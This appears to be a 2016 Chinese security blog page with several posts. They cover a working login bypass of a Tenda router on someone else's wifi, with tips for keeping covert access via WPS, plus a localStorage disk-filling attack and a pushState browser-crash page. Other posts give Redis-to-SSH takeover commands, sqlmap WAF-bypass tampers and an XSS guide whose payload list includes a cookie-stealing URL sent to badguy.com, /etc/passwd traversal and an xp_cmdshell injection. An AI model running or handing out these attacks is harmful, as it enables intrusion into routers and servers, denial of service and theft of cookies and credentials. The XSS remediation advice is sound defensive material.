实测绕过腾达某型号路由器后台登陆认证,获得管理权限

刚好今天住的地方网络出了问题,就打开手机随便搜索了一下附近的wifi,发现有个可以用钥匙链接,毫不犹豫地连接上去,故事就此展开了:

习惯性地在连接上陌生wifi后进一下后台,用浏览器打开网关,来到这个页面:http://192.168.0.1/login.asp点击查看原图

一看,感觉好眼熟啊,这个和之前在乌云看到的那个腾达漏洞很相似啊,为了验证一下,F12后切换到Network选项卡下面,重新请求一遍,发现从首页index.asp 301 跳转到 login.asp ,而且没有cookies,那么是否是真的是那个漏洞呢?利用php的curl写了个简单的脚本:

<?php 
echo "找到路由的备份文件就好了,密码就在里面。腾达的备份文件是RouterCfm.cfg。在工具的地址栏输入:http://192.168.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg,然后点获取当前地址源码。http_passwd就是登陆密码".'<br>';
$headers = array(
    // 'GET /index.asp HTTP/1.1',
    'Host: 192.168.0.1',
    'Cookie: admin:language=cn;',

);
$url='http://192.168.0.1/index.asp';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
 ?>


运行后的结果如下:

点击查看原图

从图上看,基本上可以判断是成功了得,再ctrl+u :点击查看原图

开始很纳闷,为啥没有宽带账号/密码,初步判断是静态IP或者是动态获取IP,从图中可以看到wifi密码是八个8--88888888 ,把配置文件下载下来后就可以看到后台的登陆密码了:

5.png

http_passwd=后面的就是路由器后台登陆密码,当然,你也可以不下载配置文件,直接在后台修改登录密码,但是这样容易被路由器的所有者发现,不建议这样做,进入路由后,如果有wps功能,请帮他打开,哈哈,这样即使他改了密码,你通过wps还是很可以轻松的拿到密码---拿下路由器。更多的关于拿下路由器后的各种姿势,请看这篇文章:破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单

      这个漏洞在13年的时候就出来了,而且还有很多成品工具可以一键破解,可是这些厂家和我们的人民 没有多少安全意识,特别是在公共场合的wifi,朋友们在使用的时候,一定要注意,别在这些场所进行资金操作,或者是与个人隐私相关的操作,因为,谁也不知道咋某个角落是否有一个骇客正在监听或者嗅探 or 钓鱼呢? OK ,


Mrxn 发布于 2016-4-28 16:36

发个福利,用了好久的云签到,一百个邀请码

百度云签到,用了几个月了,都差点忘了现在拿出来给大家免费使用,让它发挥一下余热 :)

为了防止恶意注册,开启了邀请码注册机制,这里先放一百个邀请码,先到先得,一个邀请码只能使用一次

0IVRtdEXUxZtnZn1Vq
7qqfkKEE0gNjFNEFY7
pPufNfxWG5RMeGW8GA
erbFPgKnk82WexXUKw
AE35m0uWIhEZ5aFzVg
Eo7Q7AvDsu9blrHMzC
tYnRHt8scVMHMygq3F
iJzfXGmWbhVEwgdcfL
m2QTjeOq9f2O6WFIyM
euDBJCQ1g96FyiOuCo
QwtGR6ArEhBW2t2sjd
XnlZ9IwV3ncUtQBvjk
09cFNnhDw5OR4m4vPg
hFpFnuiwQz0kr3e9Th
FMsepG4omhkxV6Tjsd
SJ7p6HcDJXvWc1TW4P
TRgTKVI8s020GYQkQm
hHylnzS0wuvuy1CZ3e
2Zuw5cYkrxNcxitt5I
5iR9jEji5Yh5jK3yNV
GPMHkfUcvH3176UvcF
OmbpSVcYj9uQ68LqQr
xsWgiY5PH6iuzrBYbM
uAERleFk0XlC0XMI2Y
RGsfNVouM2aUDNunIJ
K76iXrARHxiAKaRl8M
GZjvEo4luvOjUUrVWF
qY4b41S3Iw0nE9QDyh
Z5YBkrSjl34r9TI4lm
t3yLu8GiCxLlX20cZB
SAUpVBvcSpLaEMjSNn
g66UO0tKkcrw8EGUBz
WcLGYG6f0XpwpogfvN
bafneYHDJR1woTdnWF
A6JBoRuuX7uuUF0gug
m0HjOwJqhgWRDN8DS3
ypkAkWEdg2eflsZBmw
k906Rs0Yy89x5eMu9c
QFVLuYag6K7HPbNqCu
iPb8ZP7jrtvhx68BjD
2tDWQfuFi1YmbCe05q
LWubfo7DMa0LjOtSyE
DVMnSvQHw15tjMBfhp
ZWi7JrRMLqrvKB9cYh
fNNoWjv0vME3E6AYN7
YwA1Fs4M79amwt0f7L
I49SNT36Ug6jyx2tOJ
nFHWo8zMYycv9RjFus
fvHJx0lBHeyGINWvTP
2CgEAcwF1obk89DI9a
9NunLJzczrjnD982qS
VUghIMk6m9GIhHssnt
gKtSCcqeTPtibguG2B
ik8AeFbDuNZobjfmgT
CiYY88rSGiGnsupnTo
3HaU75e7R1zEbC7Td2
4NDOgK6hbOn2JnsJ7w
Rti1KSbsTcYvixyrkn
Ir5TPMynkJxzNxwfwv
pJPeukySPi0Q0cMLHk
TUnRDBYKdlRT46GrTU
tRRHFGT9gGBMcjdTzs
IAo0Tm3IUc0SIeclBc
YVXIIVhrtG86IA6zFC
4iuiBDDYGKNSWonqts
A9cUSXqFiR54wyYD09
68Z5dN3o9tgBV5xjRH
VYSfLg1teq5oyJnCmg
fyocw2erS5R68uRnhj
xuZLdUYBJTnQ8TEd9r
v9Udx8X4ErhYxnu5N5
ZdDNGzVLtubVDhgAjC
Sv4C87HZhjT0Bgsx4y
Bj816MoHpTgi26EwNf
cHbz6gqfpGLINUSRH5
3k1GFXyYiwYAyi7qXF
5pPvhwDX4PHUiUg7X0
mCQLyQ56vVGTHdnw82
RST9dCyO9kVerC40AM
g6bYw4vp2aH4GbJmcd
UhkDqvw5ZHIhEvIZgd
R5ynh2F9DR0uifJ0qm
lxRnqWT62bomqtzarl
lF4N4mfRPkauKRQxd8
hv5Gokb4YnMaDZ6dBy
p5L5Sf889jhnLz1ow8
C8FNaEO2VecTBjx2Dr
wTDJC9uiLRoSBEDxVy
htlz9q0iPrDFvlWhws
qQlg7BDp7hIsYXzOgG
2xOlZtNp3YkVeGRzAH
JbKnwCr1RJasoAHO2h
lnTtG0eWjufLNEjA6A
KhIxVJH08NPiVeLrLA
TJlJ3fDpPVC5Om4nn7
xsNni0rM4GP94S7QxH
BZlhFyHKDomdYRIdVf
pmOYX4jln6r3PMVsXa
LZBHK1y0Ie9z8lCkdL
4CWKvp5CQUDjul0Xnf
大家可以放心使用哈,自己也在用,禁止用于商业,一经发现,一律永久封禁账号和ip。

标签: 分享

Mrxn 发布于 2016-4-26 16:47

算法学习之处-运用基本的逻辑与数学知识进行简单的循环遍历

假设有这么一道数学题:

求第2333个能被2或者被3整除的正整数是…?

举例:(被2或者被3整除的正整数依次是:2,3,4,6,8,9,10,12,14,15,16,18…)

我们也可以使用最基本的数学方法来算:0.png

这个时候,数字比较大,用数学的方法就比较吃力费时了,当然,不排除你是个牛人。运算速度超常人,可以不用往下看了,渣渣 -_-|| 颤抖吧!

首先是来看看PHP版:

<?php 
function getResult($times){

        $i    =    0;
        $n    =    1;

        while(true){
            if(!($n%2) || !($n%3)){
                $i++;

                if($i == $times){
                    return $n;
                }
            }

            $n++;
        }
    }

    echo getResult(2333);
?>
然后看看Java版:

public class Main
    {
        public static void main(String[] args)
        {
            int cnt=0,num=1;
            while(true)
            {
                if(num%2==0||num%3==0)cnt++;
                if(cnt==2333)break;
                num++;
            }
            System.out.println(num);
        }
    }

Python版本:

[i for i in range(0,8000) if not(i%2 and i%3)][2333]
再看看C++:

//O(1)复杂度,不解释 
#include <iostream>
using namespace std;

bool Check(int m, int n){
    if(m%2 ==0 || m%3 == 0){
        return m/2 + m/3 - m/6 ==n;
    }
    return false;
}

int Get(int n){
    int top = (n-3)/4*6;
    while(!Check(top, n))//最多循环10次
        ++top;
    return top;
}

int main(){
    cout<<Get(2333)<<endl;
}

还有Go语言版本:

func main() {
    var x int
    c := 2333
    //c = x/2+ x/3-x/6==>x=2*c/3 + c%2
    x = 3*c/2 + c%2
    fmt.Println(x)
}
javascript版本:

var arr = [];
    var a = 0;
    while(arr.length < 2334) {
        a++;
        if (a % 3 == 0 || a % 2 == 0) {
            arr.push(a);
        }
    }
    console.log(arr[2332]);
php版本呢,我自己还写了个利用数组的方法:

把成立的结果放在数组里(把范围限制在4000以下,不然一直循环下去没完没了-_-|),key按照自增排列,最后foreach遍历,遍历到key值为2333是停止遍历并且把结果输出,但是这个方法貌似很不好,只是本人确实水平不好,正在学习中...哈哈下次再见。


Mrxn 发布于 2016-4-22 11:53

作为一个前端,可以如何机智地弄坏一台电脑?

有人说,前端的界限就在浏览器那儿。

无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界,都不会导致三次元的世界末日。
然而,作为一个前端,我发现是有方式打开次元大门的…

这个实验脑洞较大,动机无聊,但某种意义上反映了一些安全问题
想象一下,有天你在家里上网,吃着火锅还唱着歌,点开一个链接,电脑突然就蓝屏了!想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储,相信大家都不陌生。将数据以二进制文件形式存储到本地,在当前应用得非常广泛。
windows下的chrome,localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夹中。但如果任由网页无限写文件,对用户硬盘的伤害可想而知,因而浏览器对其做了大小限制。

对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。

那么问题就变成:这样的限制足够保护用户硬盘了吗

关键

关键的问题在于,这一限制,针对的是一个域名+端口
也就是说,你访问同一个域名的不同端口,它们的localStorage并无关联,是分开存储的。

我用node简单地开启了服务器,这时,用户访问http://127.0.0.1:1000http://127.0.0.1:1099这100个端口,会请求到同一个页面:index.html

var http = require('http');
var fs = require('fs');

//100个端口
for(var port = 1000; port< 1100; port++){
  http.createServer(function (request, response) {
    //请忽略这种循环读文件的方式,只为了简便
    fs.readFile('./index.html', function(err, content){
      if(err) {
      } else {
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
        response.write(content);
        response.end();
      }
    });
  }).listen(port, '127.0.0.1');
}

当然,这个index.html里涉及了localStorage写操作。

var s = "";
//慢慢来,别写太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
  s += "0";
}
localStorage.setItem("testData", s);

我试着用浏览器分别访问了几个端口,结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。
如果要实验变得更好(xie)玩(e)一些,问题就变成如何让用户自动遍历这些端口

iframe是个好的尝试。
只要一打开http://127.0.0.1: 1000,页面的脚步就会创建一个iframe,去请求http://127.0.0.1: 1001,一直循环下去。

var Main = (function(){
  var _key = "testData";
  var _max = 1100; //最大限制
  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      //新添加iframe
      var url = "http://127.0.0.1:" + port;
      var $iframe = document.createElement("iframe");
      $iframe.src = url;
      document.getElementsByTagName("body")[0].appendChild($iframe);
    }
  }
})();

当然iframe我们还可以设置为不可见,以掩盖这种不厚道的行为…
比方说,有人发给你一个链接,你打开后发现是个视频,而你根本注意不到背后的脚本,在视频播放的几分钟里,快要把你的C盘写满。

然后我就看到请求如潮水渐涨:

localstorage1.png

 

 

但是,请求到1081端口,最新的chrome就崩溃掉了…原来iframe嵌套太多,已经到达了浏览器的极限。

防止浏览器崩溃

C盘还未撑满,同志还需努力。怎么办?

突然想到,到达iframe极限之前,我们可以重定向啊。
每访问50个端口,就使用window.location.href重定向一次,去确保浏览器不崩溃。

var Main = (function(){
  var _key = "testData";
  var _max = 1200; //最大限制
  var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转

  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      if(port % _jumpSpace == 0){
        //每50个,重定向一次
        window.location.href = url;
      }else{
        //新添加iframe
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
      }
    }
  }
})();

事实证明,这种蛮拼的方法的确可行。

至此,只要访问http://127.0.0.1: 1000,就会往Local Storage文件夹里写入近500M无用数据:

localstorage3.png

 

里面的数据是这样的:

localstorage2.png

 

继续实验的黑科技

算了下我的C盘还有空间嘛,那就把端口数量从100增长到200个。
结果是这样的,到达了1.17G大小。

localstorage4.png

 

 

在后续的实验中,我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢?

我观察到,有时候执行localStorage.setItem()后,在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里,以避免重复读写带来的消耗,在空闲或关闭的时机,再写进硬盘里。

但此时,浏览器已经影响到系统了。它处于一种“不会崩溃”,但“因为占用了许多内存,已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口,也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的,否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有:

  1. 等待;
  2. 用任务管理器关掉chrome进程,再等待;
  3. 相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说,浏览器的内心几乎是崩溃的。

最后

最后,还是得用严肃脸告诫一下:害人之心不可有。
本实验,从一开始就是怀揣着将安全问题上交给国家的初衷去做的(是的就是这么纯粹)。

后续,看着C盘还有2G空间,我又把端口增长到2000个,试下会发生什么。
由于请求过多,需要一定时间,我就去做别的事情了。
回来后发现房间安静祥和,美轮美奂,一片蓝光,像是加了特技。localstorage5.png

那么问题来了,计算机修理哪家强?
有点急…

原文地址:http://litten.github.io/2015/07/06/hack-in-localstorage/

 


Mrxn 发布于 2016-4-19 10:31

通过redis入侵服务器的步骤

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆。

一,生成本地ssh公钥


ssh-keygen

二,先连接redis看看



telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10

三, 清一下redis数据库


redis-cli -h 192.168.15.10 flushall

四, 向redis写自己的公钥


catkey.txt |redis-cli -h 192.168.15.10 -xsetredis

五, 利用redis写入到文件中












#连接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#写入配置库的路径及存放位置
192.168.15.10>CONFIG SETdir/root/.ssh/
#写入配置库名称及存放的名字
192.168.15.10>CONFIG SET dbfilename"authorized_keys"
#写入
192.168.15.10>save
#退出
192.168.15.10>exit

六, 远程连接

注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件的位置,以及redis可以默认的可以随意访问性的。当然有许多可以猜。

这个是最近redis爆出来的。


Mrxn 发布于 2016-4-18 18:40

HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启?!


起因

今天刷推特的时候发现Cyber Security@cyber__sec的推文让人眼前一亮:

Crash firefox, chrome, safari browsers, and also restart iPhone using this javascript code. #dos #0day #exploit
//使用下面这段JavaScript代码能让firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。

2016-04-17 14_04_54.png


完整HTML代码如下:


<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString();
    history.pushState(0,0,total);
}
</script>
</body>
</html>

demo:(温馨提示:请保存浏览器其它窗口的编辑任务)


http://api.mrxn.net/demo.html  (点击一下,又不会怀孕!)


接来下会发生什么?

点开以后,我的状态是这样的:

14532972774931.gif

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!

如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启,这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重启了!…

思考

这是Bug还是0day?为什么会有这一现象?如何实现的?

有哪些比较有意思的利用姿势?(我先来个:当在执行MITM中间人攻击的时候,可以注入这一段js,来个恶搞整蛊。然后都懂的...)

欢迎大家在评论中发表自己的观点 



Mrxn 发布于 2016-4-17 13:59

SQLMAP tamper WAF 绕过脚本列表注释

sqlmap的tamper目录下有41个用于绕过waf的脚本,网上有文章简要介绍过使用方法,但是只是简单说了其中少数几个的作用。本人通过这41个脚本的文档注释,将它们每一个的作用简单标记了一下,还是像之前一样,先 google translate 再人工润色。其实,文档注释里面都有例子,看一眼就大概知道效果了,比看文字描述速度还快,只不过要用的时候现场翻看还是太麻烦了。我这个列表可以给大家提供参考,来更迅速的定位自己需要的脚本。

本人英文阅读能力有限,有个别词句(其实就2处)实在拿捏不准该如何翻译,就把英文照搬过来了。另外,虽然下了不少功夫翻译和校对,但自认为错误在所难免,大家有发现我翻译错误的,请指出来,谢谢大家。

01. apostrophemask.py 用UTF-8全角字符替换单引号字符

02. apostrophenullencode.py 用非法双字节unicode字符替换单引号字符

03. appendnullbyte.py 在payload末尾添加空字符编码

04. base64encode.py 对给定的payload全部字符使用Base64编码

05. between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

06. bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”

07. chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

08. charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)

09. charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

10. concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

11. equaltolike.py 用“LIKE”运算符替换全部等于号“=”

12. greatest.py 用“GREATEST”函数替换大于号“>”

13. halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释

14. ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

15. lowercase.py 用小写值替换每个关键字字符

16. modsecurityversioned.py 用注释包围完整的查询

17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询

18. multiplespaces.py 在SQL关键字周围添加多个空格

19. nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器

20. overlongutf8.py 转换给定的payload当中的所有字符

21. percentage.py 在每个字符之前添加一个百分号

22. randomcase.py 随机转换每个关键字字符的大小写

23. randomcomments.py 向SQL关键字中插入随机注释

24. securesphere.py 添加经过特殊构造的字符串

25. sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

26. space2comment.py 用“/**/”替换空格符

27. space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符

28. space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

29. space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

31. space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符

32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

33. space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符

34. space2plus.py 用加号“+”替换空格符

35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

36. unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”

37. unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符

38. varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF

39. versionedkeywords.py 用MySQL注释包围每个非函数关键字

40. versionedmorekeywords.py 用MySQL注释包围每个关键字

41. xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF


Mrxn 发布于 2016-4-13 19:13

结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防

定义(来自百度百科):

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS的工作流程大致如下(图片来自网络):3.jpg

下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:1.png

这是获取一个网站管理员的cookies

点击查看原图

这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。

下面就具体的分析一下是如何形成并且发生的:


假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

4.png


XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。5.jpg

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
6.png

XSS 攻击场景


1. Dom-Based XSS 漏洞 攻击过程如下


Tom 发现了Victim.com中的一个页面有XSS漏洞,


例如: http://victim.com/search.asp?term=apple


服务器中Search.asp 页面的代码大概如下

<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>


Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。

然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.


2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下


Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,


Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。


其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。


Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复



原则: 不相信客户输入的数据

注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
  6. 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。

如何测试XSS漏洞?


方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量


<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞


在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行


方法三:  自动化测试XSS漏洞

现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

附上一些常用的XSS测试代码:


"/><script>alert("测试一下,哈哈")</script><!-
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
%0a%0a<script>alert(\”Vulnerable\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(‘Vulnerable’);</script>
<script>alert(‘Vulnerable’)</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(‘Vulnerable’)</script>
a/
a?<script>alert(‘Vulnerable’)</script>
“><script>alert(‘Vulnerable’)</script>
‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
”;!–“<XSS>=&{()}
<IMG src=”javascript:alert(‘XSS’);”>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(“XSS”)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
“<IMG src=java\0script:alert(\”XSS\”)>”;’ > out
<IMG src=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND src=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER src=”http://www.testsite.com/a.js”></layer>
<LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”>
<IMG src=’vbscript:msgbox(“XSS”)’>
<IMG src=”mocha:”>
<IMG src=”livescript:”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME src=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<BASE href=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d);
<XML src=”javascript:alert(‘XSS’);”>
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“
<SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG src=”javascript:alert(‘XSS’)”
<!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–>
<IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”>
<SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT>
